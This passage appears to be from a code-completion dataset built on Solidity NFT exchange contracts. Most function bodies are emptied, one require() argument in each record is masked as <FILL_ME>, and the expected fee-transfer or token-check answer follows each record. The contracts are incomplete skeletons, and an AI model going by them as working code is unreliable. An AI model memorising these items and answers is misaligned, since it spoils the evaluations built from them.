validateOrderSignature(order, sig); validateBuyerFeeSig(order, royaltyFee, royaltyReceipt, buyerFeeSig); transferSellFee(order, royaltyReceipt, royaltyFee, msg.sender); setCompleted(order, true); transferToken(order, msg.sender, isStore, storeParams); emitMatchOrder(order, msg.sender); } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
(block.timestamp<=order.expiryTime),"Signature expired"
227,596
(block.timestamp<=order.expiryTime)
"Failed protocol fee transfer"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require(<FILL_ME>) } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require( IWETH(weth).transferFrom(buyer, royaltyReceipt, secoundaryFee), "Failed royalty fee transfer" ); } if (remaining > 0) { require( IWETH(weth).transferFrom(buyer, _seller, remaining), "Failed transfer" ); } } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
IWETH(weth).transferFrom(buyer,beneficiaryAddress,protocolfee),"Failed protocol fee transfer"
227,596
IWETH(weth).transferFrom(buyer,beneficiaryAddress,protocolfee)
"Failed royalty fee transfer"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require( IWETH(weth).transferFrom( buyer, beneficiaryAddress, protocolfee ), "Failed protocol fee transfer" ); } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require(<FILL_ME>) } if (remaining > 0) { require( IWETH(weth).transferFrom(buyer, _seller, remaining), "Failed transfer" ); } } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
IWETH(weth).transferFrom(buyer,royaltyReceipt,secoundaryFee),"Failed royalty fee transfer"
227,596
IWETH(weth).transferFrom(buyer,royaltyReceipt,secoundaryFee)
"Failed transfer"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require( IWETH(weth).transferFrom( buyer, beneficiaryAddress, protocolfee ), "Failed protocol fee transfer" ); } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require( IWETH(weth).transferFrom(buyer, royaltyReceipt, secoundaryFee), "Failed royalty fee transfer" ); } if (remaining > 0) { require(<FILL_ME>) } } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
IWETH(weth).transferFrom(buyer,_seller,remaining),"Failed transfer"
227,596
IWETH(weth).transferFrom(buyer,_seller,remaining)
"Not authorized token"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { require(<FILL_ME>) ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require( IERC20(token).transferFrom( buyer, beneficiaryAddress, protocolfee ), "Failed protocol fee transfer" ); } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require( IERC20(token).transferFrom( buyer, royaltyReceipt, secoundaryFee ), "Failed royalty fee transfer" ); } if (remaining > 0) { require( IERC20(token).transferFrom(buyer, _seller, remaining), "Failed transfer" ); } } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
allowToken[token],"Not authorized token"
227,596
allowToken[token]
"Failed protocol fee transfer"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function 